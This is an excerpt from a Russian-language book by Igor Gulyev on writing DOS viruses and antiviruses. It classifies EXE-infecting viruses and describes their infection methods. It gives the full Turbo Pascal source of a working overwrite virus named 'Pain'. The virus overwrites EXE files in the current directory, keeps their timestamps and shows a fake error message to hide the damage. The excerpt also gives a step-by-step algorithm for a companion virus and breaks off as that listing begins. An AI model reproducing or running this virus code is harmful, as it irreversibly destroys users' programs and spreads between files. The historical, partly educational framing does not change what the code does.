Создаем вирус и антивирус Гульев Игорь
d) CS=START_SEG+ReloCS, IP=ExeIP.
Классификация EXE-вирусов
EXE-вирусы условно можно разделить на группы, используя в качестве признака для деления особенности алгоритма.
Вирусы, замещающие программный код (Overwrite)
Такие вирусы уже стали раритетом. Главный их недостаток – слишком грубая работа. Инфицированные программы не исполняются, так как вирус записывается поверх программного кода, не сохраняя его. При запуске вирус ищет очередную жертву (или жертвы), открывает найденный файл для редактирования и записывает свое тело в начало программы, не сохраняя оригинальный код. Инфицированные этими вирусами программы лечению не подлежат.
Вирусы-спутники (Companion)
Эти вирусы получили свое название из-за алгоритма размножения: к каждому инфицированному файлу создается файл-спутник. Рассмотрим более подробно два типа вирусов этой группы:
Вирусы первого типа размножается следующим образом. Для каждого инфицируемого EXE-файла в том же каталоге создается файл с вирусным кодом, имеющий такое же имя, что и EXE-файл, но с расширением COM. Вирус активируется, если при запуске программы в командной строке указано только имя исполняемого файла. Дело в том, что, если не указано расширение файла, DOS сначала ищет в текущем каталоге файл с заданным именем и расширением COM. Если COM-файл с таким именем не найден, ведется поиск одноименного EXE-файла. Если не найден и EXE-файл, DOS попробует обнаружить BAT (пакетный) файл. В случае отсутствия в текущем каталоге исполняемого файла с указанным именем поиск ведется во всех каталогах, доступных по переменной PATH. Другими словами, когда пользователь хочет запустить программу и набирает в командной строке только ее имя (в основном так все и делают), первым управление получает вирус, код которого находится в COM-файле. Он создает COM-файл еще к одному или нескольким EXE-файлам (распространяется), а затем исполняет EXE-файл с указанным в командной строке именем. Пользователь же думает, что работает только запущенная EXE-программа. Вирус-спутник обезвредить довольно просто – достаточно удалить COM-файл.
Вирусы второго типа действуют более тонко. Имя инфицируемого EXE-файла остается прежним, а расширение заменяется каким-либо другим, отличным от исполняемого (COM, EXE и BAT). Например, файл может получить расширение DAT (файл данных) или OVL (программный оверлей). Затем на место EXE-файла копируется вирусный код. При запуске такой инфицированной программы управление получает вирусный код, находящийся в EXE-файле. Инфицировав еще один или несколько EXE-файлов таким же образом, вирус возвращает оригинальному файлу исполняемое расширение (но не EXE, а COM, поскольку EXE-файл с таким именем занят вирусом), после чего исполняет его. Когда работа инфицированной программы закончена, ее запускаемому файлу возвращается расширение неисполняемого. Лечение файлов, зараженных вирусом этого типа, может быть затруднено, если вирус-спутник шифрует часть или все тело инфицируемого файла, а перед исполнением его расшифровывает.
Вирусы, внедряющиеся в программу (Parasitic)
Вирусы этого вида самые незаметные: их код записывается в инфицируемую программу, что существенно затрудняет лечение зараженных файлов. Рассмотрим методы внедрения EXE-вирусов в EXE-файл.
Способы заражения EXE-файлов
Самый распространенный способ заражения EXE-файлов такой: в конец файла дописывается тело вируса, а заголовок корректируется (с сохранением оригинального) так, чтобы при запуске инфицированного файла управление получал вирус. Похоже на заражение COM-файлов, но вместо задания в коде перехода в начало вируса корректируется собственно адрес точки запуска программы. После окончания работы вирус берет из сохраненного заголовка оригинальный адрес запуска программы, прибавляет к его сегментной компоненте значение регистра DS или ES (полученное при старте вируса) и передает управление на полученный адрес.
Следующий способ – внедрение вируса в начало файла со сдвигом кода программы. Механизм заражения такой: тело инфицируемой программы считывается в память, на ее место записывается вирусный код, а после него – код инфицируемой программы. Таким образом, код программы как бы «сдвигается» в файле на длину кода вируса. Отсюда и название способа – «способ сдвига». При запуске инфицированного файла вирус заражает еще один или несколько файлов. После этого он считывает в память код программы, записывает его в специально созданный на диске временный файл с расширением исполняемого файла (COM или EXE), и затем исполняет этот файл. Когда программа закончила работу, временный файл удаляется. Если при создании вируса не применялось дополнительных приемов защиты, то вылечить инфицированный файл очень просто – достаточно удалить код вируса в начале файла, и программа снова будет работоспособной. Недостаток этого метода в том, что приходится считывать в память весь код инфицируемой программы (а ведь бывают экземпляры размером больше 1Мбайт).
Следующий способ заражения файлов – метод переноса – по всей видимости, является самым совершенным из всех перечисленных. Вирус размножается следующим образом: при запуске инфицированной программы тело вируса из нее считывается в память. Затем ведется поиск неинфицированной программы. В память считывается ее начало, по длине равное телу вируса. На это место записывается тело вируса. Начало программы из памяти дописывается в конец файла. Отсюда название метода – «метод переноса». После того, как вирус инфицировал один или несколько файлов, он приступает к исполнению программы, из которой запустился. Для этого он считывает начало инфицированной программы, сохраненное в конце файла, и записывает его в начало файла, восстанавливая работоспособность программы. Затем вирус удаляет код начала программы из конца файла, восстанавливая оригинальную длину файла, и исполняет программу. После завершения программы вирус вновь записывает свой код в начало файла, а оригинальное начало программы – в конец. Этим методом могут быть инфицированы даже антивирусы, которые проверяют свой код на целостность, так как запускаемая вирусом программа имеет в точности такой же код, как и до инфицирования.
Вирусы, замещающие программный код (Overwrite)
Как уже говорилось, этот вид вирусов уже давно мертв. Изредка появляются еще такие вирусы, созданные на языке Assembler, но это, скорее, соревнование в написании самого маленького overwrite-вируса. На данный момент самый маленький из известных overwrite-вирусов написан ReminderW (Death Virii Crew group) и занимает 22 байта.
Алгоритм работы overwrite-вируса следующий:
1. Открыть файл, из которого вирус получил управление.
2. Считать в буфер код вируса.
3. Закрыть файл.
4. Искать по маске подходящий для заражения файл.
5. Если файлов больше не найдено, перейти к пункту 11.
6. Открыть найденный файл.
7. Проверить, не заражен ли найденный файл этим вирусом.
8. Если файл заражен, перейти к пункту 10.
9. Записать в начало файла код вируса.
10. Закрыть файл (по желанию можно заразить от одного до всех файлов в каталоге или на диске).
11. Выдать на экран какое-либо сообщение об ошибке, например «Abnormal program termination» или «Not enough memory», – пусть пользователь не слишком удивляется тому, что программа не запустилась.
12. Завершить программу.
Ниже приведен листинг программы, заражающей файлы таким способом.
{$M 2048, 0, 0}
{$A}
{$B}
{$D}
{$E+}
{$F}
{$G}
{$I}
{$L}
{$N}
{$S}
{$V}
{$X+}
{Используются модули Dos и System (модуль System автоматически
подключается к каждой программе при компиляции)}
Uses Dos;
Const
{Имя вируса}
VirName=’Pain’;
{Строка для проверки на повторное заражение.
Она дописывается в заражаемый файл сразу после кода вируса}
VirLabel: String[5]=’Pain!’;
{Длина получаемого при компиляции EXEфайла}
VirLen=4208;
Author=’Dirty Nazi/SGWW.’;
{Количество заражаемых за один сеанс работы файлов}
InfCount=2;
Var
{Массив для определения наличия копии вируса в найденном файле}
VirIdentifier: Array [1.5] of Char;
{Файловая переменная для работы с файлами}
ViBody: File;
{Еще одна файловая переменная – хотя без нее можно было
обойтись, так будет понятнее}
Target: File;
{Для имени найденного файла}
TargetFile: PathStr;
{Буфер для тела вируса}
VirBuf : Array [1.VirLen] of Char;
{Для даты/времени файла}
Time : LongInt;
{Счетчик количества инфицированных файлов}
InfFiles : Byte;
DirInfo : SearchRec;
LabelBuf : Array [1.5] of Char;
{Инициализация}
procedure Init;
begin
LabelBuf[1]:=VirLabel[1];
LabelBuf[2]:=VirLabel[2];
LabelBuf[3]:=VirLabel[3];
LabelBuf[4]:=VirLabel[4];
LabelBuf[5]:=VirLabel[5];
{Обнуляем счетчик количества инфицированных файлов}
InfFiles:=0;
{Связываем файловую переменную VirBody с именем программы,
из которой стартовали}
Assign(VirBody, ParamStr(0));
{Открываем файл с recsize=1 байту}
Reset(VirBody, 1);
{Считываем из файла тело вируса в массив VirBuf}
BlockRead(VirBody, VirBuf, VirLen);
{Закрываем файл}
Close(VirBody);
end;
{Поиск жертвы}
procedure FindTarget;
Var
Sr: SearchRec;
{Функция возвращает True, если найденная
программа уже заражена, и False, если еще нет}
function VirusPresent: Boolean;
begin
{Пока будем считать, что вируса нет}
VirusPresent:=False;
{Открываем найденный файл}
Assign(Target, TargetFile);
Reset(Target, 1);
{Перемещаемся на длину тела вируса от начала файла}
Seek(Target, VirLen);
{Считываем 5 байт – если файл уже заражен,
там находится метка вируса}
BlockRead(Target, VirIdentifier, 5);
If VirIdentifier=VirLabel Then
{Если метка есть, значит есть и вирус}
VirusPresent:=True;
end;
{Процедура заражения}
procedure InfectFile;
begin
{Если размер найденного файла меньше, чем длина вируса
плюс 100 байт, то выходим из процедуры}
If Sr.Size < VirLen+100 Then Exit;
{Если найденная программа еще не заражена, инфицируем ее}
If Not VirusPresent Then
begin
{Запомним дату и время файла. Атрибуты запоминать не надо,
так как поиск ведется среди файлов с атрибутом Archive, а этот
атрибут устанавливается на файл после сохранения в любом случае}
Time:=Sr.Time;
{Открываем для заражения}
Assign(Target, TargetFile);
Reset(Target, 1);
{Записывам тело вируса в начало файла}
BlockWrite(Target, VirBuf, VirLen);
{Перемещаем указатель текущей позиции
на длину вируса от начала файла}
Seek(Target, VirLen);
{Вписываем метку заражения}
BlockWrite(Target, LabelBuf, 5);
{Устанавливаем дату и время файла}
SetFTime(Target, Time);
{Закрываем}
Close(Target);
{Увеличиваем счетчик инфицированных файлов}
Inc(InfFiles);
end;
end;
{Начало процедуры FindTarget}
begin
{Ищем в текущем каталоге файлы по маске *.EXE
с атрибутами Archive}
FindFirst(’*.EXE’, Archive, Sr);
{Пока есть файлы для заражения}
While DosError=0 Do
begin
If Sr.Name=’’ Then Exit;
{Запоминаем имя найденного файла в переменную TargetFile}
TargetFile:=Sr.Name;
{Вызываем процедуру заражения}
InfectFile;
{Если заразили InfCount файлов, завершаем поиск}
If InfFiles > InfCount Then Exit;
{Ищем следующий файл по маске}
FindNext(Sr);
end;
end;
{Основное тело}
begin
{Инициализируемся}
Init;
{Ищем жертвы и заражаем их}
FindTarget;
{Выдаем на экран сообщение об ошибке}
WriteLn(’Abnormal program termination.’);
{Это чтобы компилятор вставил в код константы VirName
и Author, условие же поставлено таким образом,
что эти строки никогда не будут выведены на экран}
If 2=3 Then
begin
WriteLn(VirName);
WriteLn(Author);
end;
end.
Вирусы-спутники (Companion)
Вирусы-спутники сейчас широко распространены – соотношение companion и parasitic вирусов примерно один к двум.
Инфицирование методом создания COM-файла спутника
Смысл этого метода – не трогая «чужого кота» (EXE-программу), создать «своего» – COM-файл с именем EXE-программы. Алгоритм работы такого вируса предельно прост, так как отпадает необходимость лишних действий (например, сохранения в теле вируса длины откомпилированного EXE-файла с вирусным кодом, считывания в буфер тела вируса, запуска файла, из которого вирус получил управление). Незачем даже хранить метку для определения инфицирования файла.
Заражение производится с помощью командного процессора:
1. Если в командной строке указаны параметры, сохранить их в переменную типа String для передачи инфицированной программе.
2. Найти EXE-файл-жертву.
3. Проверить, не присутствует ли в каталоге с найденным EXE-файлом COM-файл с таким же именем, как у файла-жертвы.
4. Если такой COM-файл присутствует, файл уже заражен, переходим к пункту 6.
5. С помощью командного процессора скопировать файл, из которого получено управление, в файл с именем жертвы и расширением COM.
6. Процедурой Exec загрузить и выполнить файл с именем стартового, но с расширением EXE – то есть выполнить инфицированную программу.
7. Вернуть управление в DOS.
Приведенный ниже листинг показывает заражение файлов этим методом.
{$M 2048, 0, 0}
{$A}